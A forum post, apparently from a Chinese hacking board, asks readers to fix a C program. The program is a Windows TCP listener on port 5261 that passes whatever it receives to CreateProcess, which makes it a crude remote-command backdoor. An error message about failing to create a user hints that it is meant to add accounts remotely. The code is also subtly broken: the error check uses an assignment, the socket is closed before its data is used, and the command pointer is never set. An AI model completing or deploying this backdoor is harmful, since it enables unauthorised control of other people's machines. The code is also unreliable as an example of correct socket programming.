论坛: 编程破解 标题: C写的一个程序，寻求查看修改！！！ 复制本贴地址

作者: NOHACK [knohack]    论坛用户

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#include <stdio.h> #include <winsock2.h> #include <stdlib.h> void errexit (const char *,...); SOCKET passievesock(const char *service,const char *transport,int qlen); int cmd(const char *ch); #define WINEPOCH 2208988800 #define WSVERS MAKEWORD(2,0) int main(int argc,char *argv[]) { struct sockaddr_in fsin; char *service="5261"; char buf[2048]; SOCKET sock,msock; int alen; WSADATA wsadata; switch(argc) {case 1:break; case 2:service=argv[1]; break; default: errexit("usage:udptimed[port]\n"); } if(WSAStartup(WSVERS,&wsadata)) errexit("WSAStartup failed\n"); msock=passievesock(service,"tcp",0); alen=sizeof(fsin); while(1) { sock=accept(msock,(struct sockaddr *)&fsin,&alen); int cc; cc=recv(sock,buf,sizeof(buf),0); if(cc=SOCKET_ERROR) errexit("recvfrom:error%d\n",GetLastError()); closesocket(sock); buf[cc+1]='\0'; cmd(buf); } closesocket(msock); return 1; } u_short portbase=0; SOCKET passievesock(const char *service,const char *transport,int qlen) { struct servent *pse; struct protoent *ppe; struct sockaddr_in sin; SOCKET s; int type; memset(&sin,0,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_addr.s_addr=INADDR_ANY; if(pse=getservbyname(service,transport)) sin.sin_port=htons(ntohs((u_short)pse->s_port)+portbase); else if((sin.sin_port=htons((u_short)atoi(service)))==0) errexit("can't get \"%s\"service entry\n",service); if((ppe=getprotobyname(transport))==0) errexit("can't get \"%s\"protocol entry",transport); if(strcmp(transport,"upd")==0) type=SOCK_DGRAM; else type=SOCK_STREAM; s=socket(PF_INET,type,ppe->p_proto); if(s==INVALID_SOCKET) errexit("can't create socket:%d\n",GetLastError()); if(bind(s,(struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR) errexit("can't bind to %sport:%d\n",service,GetLastError()); return s; } void errexit(const char *format,...) { va_list args; va_start(args,format); vfprintf(stderr,format,args); va_end(args); WSACleanup(); exit(1); } int cmd(const char *ch) { char *szcmd; BOOL bsuccess; PROCESS_INFORMATION piprocinfo; STARTUPINFO info; info.cb=sizeof(STARTUPINFO); info.lpReserved=NULL; info.lpDesktop=NULL; info.lpTitle=NULL; info.cbReserved2=0; info.lpReserved2=NULL; bsuccess=CreateProcess(NULL,szcmd,NULL,NULL,false,NULL,NULL,NULL,&info,&piprocinfo); if(!bsuccess) printf("创建用用户失败~！T_T"); return 1; }

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